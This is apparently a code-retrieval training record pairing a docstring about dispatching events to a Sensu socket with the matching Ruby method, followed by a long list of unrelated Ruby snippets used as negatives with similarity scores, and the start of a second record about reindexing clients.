walk_down_dependencies(m, alldeps)\n\t\tend\n\t\talldeps.push m\n\t}\n\talldeps.uniq!\n\talldeps.push pkg_name\n\t# puts alldeps.join(\", \") \n\treturn alldeps.compact \nend", "def sort_name\n sort_constituent\n end", "def sorted_extension_versions\n # ignore preceding 'V' and ignore 'master' so it sorts to end\n # convert version to array of integers so 10.0.0 comes after 9.0.0\n\n # Hack for regex issue on postgres - plus sign not escaping properly\n @sorted_extension_versions = extension_versions.order(\n Arel.sql(\n \"STRING_TO_ARRAY(\n REGEXP_REPLACE(\n REGEXP_REPLACE(\n REGEXP_REPLACE(\n extension_versions.version, \n E'[-](.*)', ''\n ), \n E'[\\+](.*)', ''\n ),\n E'V|v|master', ''\n )\n , '.')::bigint[] DESC \".gsub(/\\s+/, \" \")\n )\n )\n\n @sorted_extension_versions.limit(1).map(&:id) # executes query to test postgres regex\n @sorted_extension_versions\n rescue ActiveRecord::StatementInvalid => error\n @sorted_extension_versions = extension_versions.order(Arel.sql(\"STRING_TO_ARRAY(extension_versions.version, '.') DESC\"))\n end", "def sort(versions)\n self::usort(versions, self::SORT_ASC)\n end", "def sort_by_type!\n children.sort! do |x, y|\n if x.is_a?(PBXGroup) && y.is_a?(PBXFileReference)\n -1\n elsif x.is_a?(PBXFileReference) && y.is_a?(PBXGroup)\n 1\n else\n x.display_name <=> y.display_name\n end\n end\n end", "def sorted_versions(versions)\n versions.blank? ? [] : versions.map { |val| val['number'] }.version_sort\n end", "def sort_children\n @children.sort_by!(&:name)\n @children.map(&:sort_children)\n end", "def sort_and_build_components(work_packages: nil, date_type: nil)\n grouping_block = case date_type\n when DateType::LAYING_DATE\n laying_date_block\n when DateType::BUSINESS_ITEM_DATE\n business_item_date_block\n else\n raise StandardError, 'You need to provide a valid date_type'\n end\n\n sorted_work_packages = GroupSortHelper.group_and_sort(work_packages, group_block: grouping_block, key_sort_descending: true, sort_method_symbols: %i[work_packaged_thing workPackagedThingName])\n\n build_components(work_packages: sorted_work_packages, date_type: date_type, grouping_block: grouping_block)\n end", "def packages; end", "def all_gems()\n self.sort.collect {|k,g| g }\n end", "def metapackage(name, *packages)\n Autoproj.workspace.manifest.metapackage(name, *packages)\nend", "def my_array_sorting_method(i_want_pets)\n pets_sorted = i_want_pets.sort_by {|x| x.to_s}\nend", "def packages\n FileList[package_path('.*')]\n end", "def gem_requirements_to_array(*deps)\n deps.map do |dep|\n dep.requirement.requirements.map do |op, version|\n \"#{op} #{version}\"\n end.sort\n end\n end", "def release_groups\n return @artist_data[\"release-groups\"].sort_by { |hash| hash[\"first-release-date\"]}\n end", "def list_packages\n res = []\n out = Aptly::runcmd \"aptly mirror show -with-packages #{@name.quote}\"\n Aptly::parse_indented_list out.lines\n end", "def sortme( names )\n names.sort\nend", "def sorted_rolls\n tsort_hash = {}\n @rolls.each do |file_name, roll|\n tsort_hash[file_name.to_s] = roll.dependencies.map(&:to_s)\n end\n\n tsort_hash.tsort.map(&:to_sym)\n end", "def find_packages(name, constraint = nil)\n # implement inside child\n end", "def get_packages(adb_opts = {})\n packages = []\n run_adb_shell(\"pm list packages -f\", adb_opts) do |pout|\n pout.each do |line|\n @log.debug(\"{stdout} #{line}\") unless @log.nil?\n parts = line.split(\":\")\n if (parts.length > 1)\n info = parts[1].strip.split(\"=\")\n package = AndroidAdb::Package.new(info[1], info[0]);\n packages << package;\n end\n end\n end\n return packages\n end", "def packages(order)\n units = Spree::ActiveShipping::Config[:units].to_sym\n packages = []\n weights = convert_order_to_weights_array(order)\n max_weight = get_max_weight(order)\n item_specific_packages = convert_order_to_item_packages_array(order)\n\n if max_weight <= 0\n packages << Package.new(weights.sum, [], :units => units)\n else\n package_weight = 0\n weights.each do |li_weight|\n if package_weight + li_weight <= max_weight\n package_weight += li_weight\n else\n packages << Package.new(package_weight, [], :units => units)\n package_weight = li_weight\n end\n end\n packages << Package.new(package_weight, [], :units => units) if package_weight > 0\n end\n\n item_specific_packages.each do |package|\n packages << Package.new(package.at(0), [package.at(1), package.at(2), package.at(3)], :units => :imperial)\n end\n\n packages\n end", "def sorted_plugins\n @sorted_plugins ||= plugins.sort do |a, b|\n Setting.module_list.index(a.name) <=> Setting.module_list.index(b.name)\n end\n end", "def sort(array_of_nodes, order)\n new_arry = []\n array_of_nodes.each { |node|\n node_idx = []\n np = node.node_type == :attribute ? node.element : node\n while np.parent and np.parent.node_type == :element\n node_idx << np.parent.index( np )\n np = np.parent\n end\n new_arry << [ node_idx.reverse, node ]\n }\n ordered = new_arry.sort_by do |index, node|\n if order == :forward\n index\n else\n -index\n end\n end\n ordered.collect do |_index, node|\n node\n end\n end", "def search_for_description pkgname, packages = []\n cache_key = \"description_package_#{pkgname.downcase}\"\n description_package = Rails.cache.fetch(cache_key, :expires_in => 12.hours) do\n if packages.blank?\n packages = Seeker.prepare_result(\"\\\"#{pkgname}\\\"\", nil, nil, nil, nil)\n packages = packages.reject {|p| p.first.type == 'ymp'}\n end\n packages.select {|p| p.name == pkgname}.each do |package|\n description_package = nil\n unless package.description.blank?\n description_package = package\n logger.info \"Found package info for #{pkgname} in: #{package.project}\"\n break\n end\n logger.error \"No package info for #{pkgname} in: #{package.project}\"\n end\n description_package\n end\n end", "def sort_files!; end", "def order_by(*args)\n clone.tap do |crit|\n arguments = args.size == 1 ? args.first : args\n setup_sort_options(crit.options) unless args.first.nil?\n if arguments.is_a?(Array)\n #[:name, :asc]\n if arguments.size == 2 && (arguments.first.is_a?(Symbol) || arguments.first.is_a?(String))\n build_order_options(arguments, crit)\n else\n arguments.each { |argument| build_order_options(argument, crit) }\n end\n else\n build_order_options(arguments, crit)\n end\n end\n end", "def sorted\n @@all = @@all.sort_by(&:year)\n end", "def sort_entries; end", "def sort(objs)\n Array(objs).flatten.compact.uniq.collect(&:to_s).sort.collect(&:to_sym)\n end", "def sort(objs)\n Array(objs).flatten.compact.uniq.collect(&:to_s).sort.collect(&:to_sym)\n end", "def sort_elements_by_content(elements, content_name)\n elements.sort_by do |element|\n content = element.content_by_name(content_name)\n content ? content.ingredient.to_s : ''\n end\n end", "def print_sorted(arr_name)\n\tprint(arr_name.sort {|one, another| one[:b] <=> another[:b]})\nend", "def existing_packages\n paths_by_app = Dir[File.join(config[:packages_dir], '*', '*.{tar.gz,json}')].group_by { |path|\n path.split(File::SEPARATOR)[-2]\n }\n\n Hash[\n paths_by_app.map { |app, paths|\n names_by_base = paths.group_by do |path|\n File.basename(path).sub(/\\.(?:tar\\.gz|json)\\z/, '')\n end\n\n packages = names_by_base.flat_map { |base, names|\n names.map do |name|\n (\n name.end_with?(\".tar.gz\") &&\n names.find { |_| _.end_with?(\".json\") } &&\n base\n ) || nil\n end\n }.compact\n\n [app, packages.sort]\n }\n ]\n end", "def sortme(names)\n names.sort\nend", "def modules\n @registry.values\n .sort_by { |x| x.respond_to?(:priority) ? x.priority : 0 }\n .reverse\n end", "def package_manifest()\n res = []\n @items.each do |item|\n sources = item[:sources]\n sources = [ sources ] unless sources.kind_of?(Array)\n sources.each do |src|\n # TODO - want to split into multiple packages\n #if pkg == :main\n # next unless item[:dest] =~ /(LIB|BIN)DIR/\n #elsif pkg == :devel\n # next unless item[:dest] =~ /(INCLUDE|MAN)DIR/\n #else\n # throw \"bad pkg type\"\n #end\n dst = expand_dir(item[:dest])\n if item[:rename].nil?\n dst += '/' + src\n else\n dst += '/' + item[:rename]\n end\n dst.gsub!(/^\\/usr\\/local\\//, '/usr/') # KLUDGE: only true when making an RPM or DEB\n res.push dst\n end\n end\n res.join \"\\n\"\n end", "def ordered_recipes\n return @ordered_recipes if @ordered_recipes\n names = Bundler.load.dependencies.map(&:name)\n\n # Setup a hash with the recipe name and the recipe class\n recipe_pool = recipes.dup.inject({}) {|memo,recipe| memo[recipe.gem_name] = recipe ; memo }\n\n # Go through the gems in the order they are in the Gemfile, then\n # add them to the ordered list\n @ordered_recipes = []\n names.each do |name|\n if recipe_pool[name]\n @ordered_recipes << recipe_pool[name]\n recipe_pool.delete(name)\n end\n end\n\n # Add the remaining recipes (load them after everything else)\n @ordered_recipes += recipe_pool.values\n\n return @ordered_recipes\n end", "def each_package\n package_name_array.each_with_index do |package_name, i|\n candidate_version = candidate_version_array[i]\n current_version = current_version_array[i]\n magic_version = use_magic_version? ? magic_version_array[i] : current_version_array[i]\n new_version = new_version_array[i]\n yield package_name, new_version, current_version, candidate_version, magic_version\n end\n end", "def sortme( names )\n names.sort\nend", "def sortme( names )\n names.sort\nend" ]
[ "0.6782119", "0.6602605", "0.65122336", "0.6475713", "0.64148784", "0.6245281", "0.6208737", "0.61648846", "0.6159998", "0.60986495", "0.6079145", "0.60552835", "0.6026997", "0.6000804", "0.5999885", "0.59287906", "0.59285957", "0.5894571", "0.58802915", "0.5862084", "0.5847769", "0.5834676", "0.58315915", "0.5803088", "0.5777787", "0.57728857", "0.5763716", "0.574183", "0.5739718", "0.5739718", "0.5730258", "0.57064915", "0.5705423", "0.57042277", "0.5673578", "0.5673578", "0.5673311", "0.5666537", "0.565561", "0.565561", "0.5637388", "0.5619649", "0.5614707", "0.56068414", "0.5606792", "0.5603971", "0.55950826", "0.55697495", "0.5563501", "0.5560228", "0.55585176", "0.5552739", "0.55409", "0.553003", "0.55271286", "0.552527", "0.5479483", "0.5477308", "0.5473569", "0.5461535", "0.54594", "0.54530543", "0.54499346", "0.5445128", "0.54440093", "0.54385984", "0.5438249", "0.5421127", "0.5417377", "0.5407142", "0.5406398", "0.5399793", "0.53956056", "0.53795636", "0.5372881", "0.5345875", "0.53394496", "0.53345954", "0.5333588", "0.53280437", "0.5327099", "0.5325944", "0.53255093", "0.53252447", "0.5324397", "0.5322363", "0.5316584", "0.5314543", "0.5308258", "0.5308258", "0.53053224", "0.5297613", "0.5296089", "0.5287321", "0.5283196", "0.52784866", "0.5268174", "0.5267693", "0.52503973", "0.52503973" ]
0.7360846
0
def reindex_clients clients.each do |client| client.reindex end end
def full_name "#{self.first_name} #{self.last_name}" end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def reindex!\n find(:all).each { |r| r.update_index(true) }\n end", "def update_index\n all.nodes.each do |n|\n n.reindex!\n end\n end", "def index_clients\n @client = Client.all\n end", "def reindex!\n self.index = {}\n data.each do |inventory_object|\n store_index_for(inventory_object)\n end\n end", "def reindex_resource\n\t\tresource.reindex\n\tend", "def reindex\n Watchable.reindex\n end", "def recreate!\n client = EsClient.new(@url, @index_name)\n client.create_index(@index)\n client.bulk_index(@data)\n end", "def reindex!\n indexed if generate_solr_index\n end", "def relink_indexes\n super\n sync_indexes\n end", "def rebuild_index\n aaf_index.rebuild_index\n end", "def reindex_article\n Article.reindex\n end", "def update_index\n all.each do |n|\n n.update_index\n end\n end", "def reindex_relations\n ids = solr_relation_ids + relation_ids\n yield\n ids.uniq.map { |id| ActiveFedora::Base.find(id).update_index }\n end", "def reindex\n Transaction.current.reindex(self)\n end", "def reindex!\n doc = {:id => neo_node_id }\n self.class.index_updaters.each_value do |updater|\n updater.call(self, doc)\n end\n lucene_index << doc\n end", "def reindex\n Sunspot.index!\n # puts 'reindexed'\n end", "def clients_index\n @clients = User.clients\n end", "def update_ion_indices\n ion = self.class.ion\n\n\n # Clear out previous indexes...\n ion.index_types.each { |i_type| i_type.deindex(self) }\n\n Ion.redis.multi\n # And add new ones\n ion.indices.each { |index| index.index(self) }\n Ion.redis.exec\n end", "def reindex_collections\n CsvCollectionReindex.where(csv_import_id: @csv_import_id, status: ['queued', 'in progress']).each do |collection_reindex|\n ReindexCollectionJob.perform_now(collection_reindex.id)\n end\n end", "def clients!\n @clients = search_clients clients_doc!\n end", "def sync client, type\n settings.master_mutex.synchronize do\n index_names = get_request_index_names type\n\n unless !index_names.empty?\n indexes = create_request_indexes client, type\n index_names = indexes.map { |index| index[:index] }\n end\n\n index_names.each do |index|\n Indexes.instance.set_status index, :updating\n end\n\n return index_names\n end\n end", "def reindex\n custom_breadcrumbs_for(admin: true,\n leaf: 'Start search index refresh')\n\n render :reindex, layout: 'admin/application', locals: { success: nil, errors: [] }\n end", "def reindex_after_archive\n reindex_sync\n end", "def index\n @clients = Client.all\n end", "def index\n @clients = Client.all\n end", "def index\n @clients = Client.all\n end", "def index\n @clients = Client.all\n end", "def index\n @clients = Client.all\n end", "def index\n @clients = Client.all\n end", "def index\n @clients = Client.all\n end", "def index\n @clients = Client.all\n end", "def index\n @clients = Client.all\n end", "def reindex\n # We would need to set this explicitly to re-index\n if BoolENV[\"REINDEX_SOLR\"]\n Sunspot.session = Sunspot::SessionProxy::Retry5xxSessionProxy.new(Sunspot.session)\n reindex_options = { :batch_commit => false }\n Dir.glob(Rails.root.join('app/models/**/*.rb')).each { |path| require path }\n sunspot_models = Sunspot.searchable\n sunspot_models.each do |model|\n model.solr_reindex(reindex_options)\n end\n end\n end", "def reindex(*entries)\n list = Upload.get_relation(*entries).to_a\n result = ingest_api.put_records(*list)\n result.exec_report.error_messages.each { |e| $stderr.puts e }.blank?\n end", "def reindex\n if self.content_id\n self.content.reindex\n end\n self.indexed = true\n self.save!\n end", "def refreshClients\n\t\t@clients.clean\n\t\tunless @sqlQuery.nil? then\n\t\t\t@sqlQuery.selectClient.each do |row|\n\t\t\t\t@clients.addClient(row[0],row[1],row[2],row[3],row[4],row[5], row[6], row[7], row[8])\n\t\t\tend\n\t\telse\n\t\t\tputs \"SqlQuery wasn't created : cannot read data from database\"\n\t\tend\n\t\treturn @clients.length\n\tend", "def cloud_search_reindex(*args)\n self.cloud_search_batch_documents do\n self.find_each(*args) do |record|\n record.add_to_cloud_search\n end\n end\n end", "def refresh_index\n Elastic::Rebound.client.refresh({:index => @index_name})\n end", "def set_clients\n @clients = Client.all\n end", "def refresh_indices\n response = client.admin.indices.prepare_refresh([@index].to_java(:string)).execute.action_get\n end", "def reindex(autocommit = true)\n message = {:id => self.id, :document => self.search_document, :boost => self.boost}.to_json\n if defined?(RABBIT_MQ) && defined?(Bunny)\n Bunny.run RABBIT_MQ do |rabbit|\n queue = rabbit.queue \"sisyphus__reindex_place_document\"\n queue.publish(message)\n end\n else\n Sisyphus.async_reindex_place_document(message)\n end\n end", "def reindex_sections\n @next_section_index = 0\n @next_section_number = 0\n @blocks.each {|block|\n if block.is_a?(Section)\n assign_index(block)\n block.reindex_sections\n end\n }\n end", "def reindex!\n logger.debug \"Updating #{self.name} (#{self.id}) to Solr directly...\"\n indexed if generate_solr_index\n end", "def refresh\n super do |modified|\n return unless modified\n @indexer.generate_index #TODO: update_index?\n end\n end", "def rebuild_pgindex!\n self.all.each { |model| model.rebuild_pgindex! }\n end", "def reindex_user!\n Sunspot.index! self\n end", "def reindex_everything(repo, query = '')\n i = 0\n repo.search(query) do |object|\n next if object.pid.start_with?('fedora-system:')\n i += 1\n next if i < start_at\n puts \"I: #{i}\"\n begin\n @solr_conn.add index_digital_object(object)\n rescue Rubydora::FedoraInvalidRequest => e\n puts \"ERROR #{e}\"\n end\n @solr_conn.commit(softCommit: true) if i % 100 == 0\n end\n @solr_conn.commit\nend", "def index(data, refresh = false,batch_connection = nil)\n connection = batch_connection || Elastic::Rebound.client\n if data.kind_of?(Array)\n data.each do |d|\n connection.index(d, :type => @object_name, :index => @index_name, :id => d[:id])\n end\n else\n connection.index(data, :type => @object_name, :index => @index_name, :id => data[:id])\n end\n\n refresh_index if refresh && !batch_connection\n end", "def reindex\n collection = Collection.find(params[:id])\n EOL::Solr::CollectionItemsCoreRebuilder.reindex_collection(collection)\n collection.update_attribute(:collection_items_count,\n collection.collection_items.count)\n redirect_to collection, notice: I18n.t(:collection_redindexed)\n end", "def reindex!\n self.__elasticsearch__.update_document if self.published?\n end", "def index\n @clientzs = Clientz.all\n end", "def index(model)\n model.index\n ElasticMapper.index.refresh\nend", "def reset_index\n # delete old database\n FBHot.redis.keys(@index_name).each {|key| FBHot.redis.del key}\n\n # create new database\n ids = FBHot.redis.zrange 'zusers1', 0, User::count('girls') - 1\n ids.each {|id| add_user_to_index(id)}\n end", "def add_client(client, clients)\n\tclients << client\nend", "def index\n @clients = Client.search(params[:search]).order(sort_column + \" \" + sort_direction).page(params[:page]).per(10)\n respond_with(@clients)\n end", "def populate_background_index!(name)\n # make an index with a new client (in this thread, to avoid query check race after)\n name.freeze\n index = $client.dup.index(name)\n docs = index.docs(\"widget\")\n\n # do some busy work in background thread to generate bulk-indexing tasks we\n # can query at the caller. return the thread ref so caller can join on it\n Thread.new do\n 100.times.each do |i|\n docs.bulk do |d|\n (1..500).each do |j|\n d.index \\\n :foo => \"foo_#{i}_#{j}\",\n :bar => \"bar_#{i}_#{j}\",\n :baz => \"baz_#{i}_#{j}\"\n end\n end\n index.refresh\n end\n end\nend", "def reindex!(index: nil, dataset: nil, batch_size: 100)\n index_name = index || timestamped_index\n import!(index: index_name, dataset: dataset, batch_size: batch_size)\n\n # Create an alias to the newly created index\n alias_index(index_name)\n end", "def reindex_property\n property.reindex\n end", "def index \n @clients = ApiClient.all\n end", "def import_clients\n Client.unrestrict_primary_key\n iterate_lines(@directory + 'clients.json') do |idx, line|\n print \"\\rImporting Clients #{idx}...\"\n Client.create(JSON.parse(line))\n end\n print \"Done\\n\"\n Client.restrict_primary_key\n end", "def index\n @clientes = Cliente.all\n end", "def index\n @clientes = Cliente.all\n end", "def index\n @clientes = Cliente.all\n end", "def index\n @clientes = Cliente.all\n end", "def reindex(source:, dest:, output: $stdout)\n subscribed_task_stats(output) do\n output.puts \"Source index is #{source}\\nDestination index is #{dest}\"\n Chewy::Index.reindex(source: source, dest: dest)\n output.puts \"#{source} index successfully reindexed with #{dest} index data\"\n end\n end", "def index\n get_clientes\n end", "def rebuild_automatic_index(old_index)\n name = old_index.getIndexName\n index_class = old_index.getIndexClass\n keys = old_index.getAutoIndexKeys\n drop_index name\n build_automatic_index(name, index_class, keys)\n end", "def index\n @clients = Client.all.order(created_at: :desc)\n end", "def updateClients request\n @clients.each do |client|\n unless client == @lastClient\n client.socket.write request\n end\n end\n end", "def reindex(options = {})\n version = options.fetch(:version, :current)\n updated_after = options.fetch(:updated_after, {})\n Rails.application.eager_load! if defined?(Rails)\n VersionManager.use_version version do\n Hash[models_to_reindex(options).map do |model|\n started_at = Time.now\n log \"Reindexing #{model.elastics_index_base} into \" \\\n \"#{model.elastics_index_name}/#{model.elastics_type_name}\"\n model.reindex_elastics(updated_after: updated_after[model])\n [model, started_at]\n end]\n end\n end", "def suppress_reindex\n self.suppress_reindex_trigger = true\n end", "def suppress_reindex\n self.suppress_reindex_trigger = true\n end", "def suppress_reindex\n self.suppress_reindex_trigger = true\n end", "def refresh(indexes)\n resp = post \"/#{Array(indexes).join(',')}/_refresh\"\n resp.body\n end", "def reindex_later(**args)\n Spotlight::ReindexJob.perform_later(self, **args)\n end", "def refresh_index index\n uri = URI(\"http://#{@host}:#{@port_s}/#{index}/_refresh\")\n req = Net::HTTP::Post.new(uri)\n run(uri, req)\n end", "def perform\n ThinkingSphinx::Connection.take do |client|\n indices.each do |index|\n client.update index, ['sphinx_deleted'], {@document_id => [1]}\n end\n end\n rescue Riddle::ConnectionError\n # If it fails here, so be it.\n ensure\n true\n end", "def reindex!\n unless :manage == mode\n raise 'You need to :manage this database to reindex it!'\n end\n\n # prefixes index\n storages[:prefixes].setindex 'prefix', TDB::ITLEXICAL\n\n # stems index\n storages[:stems].setindex 'msd', TDB::ITLEXICAL\n storages[:stems].setindex 'rule_set_id', TDB::ITDECIMAL\n storages[:stems].setindex 'stem', TDB::ITLEXICAL\n\n # rules index\n storages[:rules].setindex 'msd', TDB::ITLEXICAL\n storages[:rules].setindex 'rule_set_id', TDB::ITDECIMAL\n storages[:rules].setindex 'prefix', TDB::ITLEXICAL\n storages[:rules].setindex 'suffix', TDB::ITLEXICAL\n\n # words index\n storages[:words].setindex 'stem_id', TDB::ITDECIMAL\n storages[:words].setindex 'rule_id', TDB::ITDECIMAL\n\n nil\n end", "def index\n @client_docs = ClientDoc.all\n end", "def getToolsReindex()\n params = Hash.new\n return doCurl(\"get\",\"/tools/reindex\",params)\n end", "def reset_index\n ElasticMapper.index_name = \"elastic_mapper_tests\"\n index = ElasticMapper.index\n server = ElasticMapper.server\n\n index.delete rescue nil # ignore exceptions.\n\n server.refresh\n\n index.create({\n :settings => {\n :number_of_shards => 1,\n :number_of_replicas => 0\n }\n })\n\n # Why do both? Doesn't hurt, and it fixes some races\n server.refresh\n index.refresh\n \n # Sometimes the index isn't instantly available\n (0..40).each do\n idx_metadata = server.cluster.request(:get, :state)[:metadata][:indices][index.name]\n i_state = idx_metadata[:state]\n \n break if i_state == 'open'\n \n if attempts_left < 1\n raise \"Bad index state! #{i_state}. Metadata: #{idx_metadata}\" \n end\n\n sleep 0.1\n end\n\nend", "def remove_all_clients\n @clients = Array.new\n end", "def index\n @clients = Client.all.paginate(page: params[:page], per_page: 4)\n end", "def reindex(options = {})\n self.class.indexed_properties.each do |property|\n if change = previous_changes[property.name]\n previous, current = change\n\n Index.new(property, previous).delete self\n Index.new(property, current).add self\n elsif options[:force_index]\n value = send(property.name)\n Index.new(property, value).add self\n end\n end\n end", "def reindex(autocommit = true)\n if defined?(RABBIT_MQ) && defined?(Bunny) && RABBIT_MQ\n publish_to_rabbit\n else\n reindex!\n end\n end", "def enqueue_reindex_job\n Study.enqueue_reindex_ids(nct_id)\n end", "def index\n @clients = Client.paginate(:page => params[:page], :per_page => 20).order(register_date: :desc)\n end", "def delete_old_indices\n existing_indices = client.indices.get(index: '_all')\n\n @logger.debug(\"Existing indexes: #{existing_indices.keys}\")\n\n index_keys.each do |index|\n keys = existing_indices.keys.select { |k| k.include?(index.to_s) }.sort\n keys_by_date = keys.group_by { |k| key_age(k) }\n keys_to_delete = []\n\n # delete all indexes, keeping one from each day for the last few days\n keys_by_date.each do |age, key_list|\n key_list.pop if age <= MAX_INDEX_AGE\n keys_to_delete += key_list\n end\n\n unless keys_to_delete.empty?\n @logger.debug(\"Deleting indexes #{keys_to_delete.join(', ')}\")\n client.indices.delete index: keys_to_delete\n end\n end\n end", "def each_client(&block)\n clients.each do |client|\n time_sheet = for_client(client)\n yield(client, time_sheet)\n end\n end", "def perform(uris)\n counter = 0\n logger = Rails.logger\n\n logger.info \"Reindexing #{uris.count} URIs\"\n uris.each do |uri|\n work = ActiveFedora::Base.find(ActiveFedora::Base.uri_to_id(uri))\n logger.info \"\\t reindexing #{work.id}\"\n work.update_index\n counter += 1\n # rubocop:disable Style/RescueStandardError\n rescue => e\n logger.info \"Failed to reindex #{work.id}: #{e.message}\" unless work.nil?\n logger.info \"Failed to reindex a work: #{e.message}\" if work.nil?\n next\n end\n # rubocop:enable Style/RescueStandardError\n logger.info \"Total indexed: #{counter}/#{uris.count}\"\n end", "def update_in_index\n __elasticsearch__.index_document\n\n index_dependent_models.map(&:update_in_index)\n end", "def updateClients diff\n req = diff.to_request @id\n @workingUsers.each do |user|\n user.updateClients req\n end\n end", "def connected_clients\n @client_mutex.synchronize do\n @clients.values.dup\n end\n end", "def reindex!\n Student.update_recent_student_assessments!\n end", "def each_client(&blk)\n @clients.each_value(&blk)\n end", "def reindex_data(*models) \n Mebla.log(\"Rendexing: #{self.slingshot_index_name}\")\n \n unless drop_index\n raise Mebla::Errors::MeblaIndexException.new(\"Could not drop #{@slingshot_index_name}!!!\")\n end \n \n # Create the index and index the data\n if models && !models.empty?\n index_data(models)\n else\n index_data\n end\n end", "def index\n @client_ids = Client.for_user(current_user.id).pluck(:ClientId)\n @clients = Client.where(ClientId: @client_ids).includes(:jobs)\n @hosts = current_user.hosts.not_baculized\n fetch_jobs_info\n get_charts\n end", "def reapply_nodes\n @nodes.each { |node| node.data[:cluster] = self }\n end", "def reindex_places\n return true if skip_indexing\n places.each_with_index do |p,i|\n # Queue jobs with a little offset we don't end up running intense API\n # calls at the same time\n p.delay(\n run_at: ( 1.day + i.minutes ).from_now,\n priority: INTEGRITY_PRIORITY,\n queue: \"slow\",\n unique_hash: { \"Place::elastic_index\": p.id }\n ).elastic_index!\n end\n true\n end", "def index\n @clients = Client.page(params[:page] || 1).per(10)\n end", "def add_all\n helper.index_write do |index|\n index.add_all\n index.update_all\n end\n\n self\n end" ]
[ "0.7028745", "0.6918333", "0.66513234", "0.6604942", "0.65419173", "0.65223897", "0.6456471", "0.64374185", "0.64249134", "0.6419627", "0.63946193", "0.6315845", "0.62801456", "0.6267823", "0.6266808", "0.62400717", "0.6228445", "0.61617994", "0.61147803", "0.6020933", "0.6008615", "0.60082674", "0.6004781", "0.5974729", "0.59087294", "0.59087294", "0.59087294", "0.59087294", "0.59087294", "0.59087294", "0.59087294", "0.59087294", "0.59068865", "0.59047145", "0.590373", "0.5855641", "0.58487743", "0.58237183", "0.5801062", "0.57672644", "0.57669795", "0.5750744", "0.5742283", "0.57373446", "0.5733174", "0.5723663", "0.5714005", "0.5710889", "0.56963944", "0.56909317", "0.5690863", "0.567537", "0.5660536", "0.56436586", "0.56395", "0.5638707", "0.5609008", "0.5590676", "0.558408", "0.55794823", "0.5578934", "0.5578934", "0.5578934", "0.5578934", "0.557393", "0.557277", "0.55602056", "0.5557138", "0.5556707", "0.555536", "0.55550116", "0.55550116", "0.55550116", "0.55429584", "0.5542217", "0.55256605", "0.55206275", "0.5520436", "0.55097944", "0.55045545", "0.5502451", "0.55005765", "0.5483131", "0.547315", "0.5461567", "0.5457289", "0.5429093", "0.5417812", "0.54028755", "0.5396286", "0.539577", "0.5380969", "0.5380521", "0.5366981", "0.5366096", "0.53347933", "0.5329168", "0.5323849", "0.53181225", "0.5311753", "0.5311452" ]
0.0
-1
Send accumulated events into Sensu's socket, unless environment variable PROM_DEBUG is set.
def dispatch(event) if ENV.key?('PROM_DEBUG') log.debug("PROM_DEBUG set, not dispatching event to Sensu: #{event}") return end # :nocov: begin s = TCPSocket.open(@sensu_address, @sensu_port) s.puts(JSON.generate(event)) s.close rescue SystemCallError => e log.error("Sensu is refusing connections! Error: '#{e}'") raise("Sensu is not avilable at '#{@sensu_address}:#{@sensu_port}'") end # :nocov: end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def send_event( data )\n\n\t\tuntil data.empty?\n\t\t\tbytes = self.socket.send( data, 0, self.multicast_address, self.port )\n\n\t\t\tself.log.debug \"Sent: %p\" % [ data[0, bytes] ]\n\t\t\tdata[ 0, bytes ] = ''\n\t\tend\n\tend", "def send_all(event, data)\n\t\tEM.next_tick {\n\t\t\t@sockets.each do |s|\n\t\t\t\ts.send(event, data) \n\t\t\tend\n\t\t}\n\tend", "def send_event( data )\n\t\tuntil data.empty?\n\t\t\tbytes = self.socket.sendmsg_nonblock( data, 0, exception: false )\n\n\t\t\tif bytes == :wait_writable\n\t\t\t\tIO.select( nil, [self.socket], nil )\n\t\t\telse\n\t\t\t\tself.log.debug \"Sent: %p\" % [ data[0, bytes] ]\n\t\t\t\tdata[ 0, bytes ] = ''\n\t\t\tend\n\t\tend\n\tend", "def events tcpSock, action\n begin\n tcpSock.write \"Action: Events\\r\\n\"\n tcpSock.write \"EventMask: #{action}\\r\\n\\r\\n\"\n rescue => error\n log \"#{error}\"\n end\nend", "def send_events; end", "def write( event )\n pri = SyslogProtocol::SEVERITIES['debug']\n message = if event.instance_of?(::Logging::LogEvent)\n pri = @map[event.level]\n @layout.format(event)\n else\n event.to_s\n end\n return if message.empty?\n\n udp_sender = RemoteSyslogLogger::UdpSender.new(\n @syslog_server,\n @port,\n :facility => @facility,\n :severity => pri,\n :program => @ident\n )\n\n udp_sender.write(prepare_message(message))\n\n self\n end", "def magic_ping(event); @socket.puts \"PONG :#{event.message}\"; end", "def run()\n # let's install signal handlers\n Signal.trap(\"INT\") { EventMachine.stop }\n Signal.trap(\"TERM\") { EventMachine.stop }\n # let's generate config file for statsd router\n File.open(SR_CONFIG_FILE, \"w\") do |f|\n f.puts(\"log_level=1\")\n f.puts(\"data_port=#{SR_DATA_PORT}\")\n f.puts(\"control_port=#{SR_CONTROL_PORT}\")\n f.puts(\"downstream_health_check_interval=#{SR_DS_HEALTH_CHECK_INTERVAL}\")\n f.puts(\"downstream_flush_interval=#{SR_DS_FLUSH_INTERVAL}\")\n f.puts(\"downstream_ping_interval=#{SR_DS_PING_INTERVAL}\")\n f.puts(\"ping_prefix=#{SR_PING_PREFIX}\")\n f.puts(\"threads_num=#{THREADS_NUM}\")\n f.puts(\"downstream=#{(0...DOWNSTREAM_NUM).to_a.map {|x| BASE_DS_PORT + 2 * x}.map {|x| \"127.0.0.1:#{x}:#{x + 1}\"}.join(',')}\")\n end\n @downstream = []\n # socket for sending data\n @data_socket = UDPSocket.new\n # here we start event machine\n EventMachine::run do\n # let's init downstreams\n (0...DOWNSTREAM_NUM).each do |i|\n sm = StatsdMock.new(BASE_DS_PORT + 2 * i, BASE_DS_PORT + 2 * i + 1, i, self)\n @downstream << sm\n end\n # start statsd router\n EventMachine.popen(\"#{SR_EXE_FILE} #{SR_CONFIG_FILE}\", OutputHandler, self)\n sleep 1\n # and set timer to interrupt test in case of timeout\n EventMachine.add_timer(@timeout) do\n abort(\"Timeout\")\n end\n advance_test_sequence()\n end\n end", "def flush\n unless @buffer.empty?\n message = @buffer.to_a.join(\"\\n\")\n\n # Handle socket errors by just logging if we have a logger instantiated\n # We could eventually save the buffer state but that would require us to manage the buffer size etc.\n begin\n @logger.debug(\"Flushing metrics: #{message}\") unless @logger.nil?\n\n if !@config.has_key?(:dryrun) || !@config[:dryrun]\n transport_send(message)\n end\n rescue SocketError => ex\n @logger.debug(\"Statful: #{ex} on #{@config[:host]}:#{@config[:port]}\") unless @logger.nil?\n false\n ensure\n @buffer.clear\n end\n end\n end", "def send_others(event, 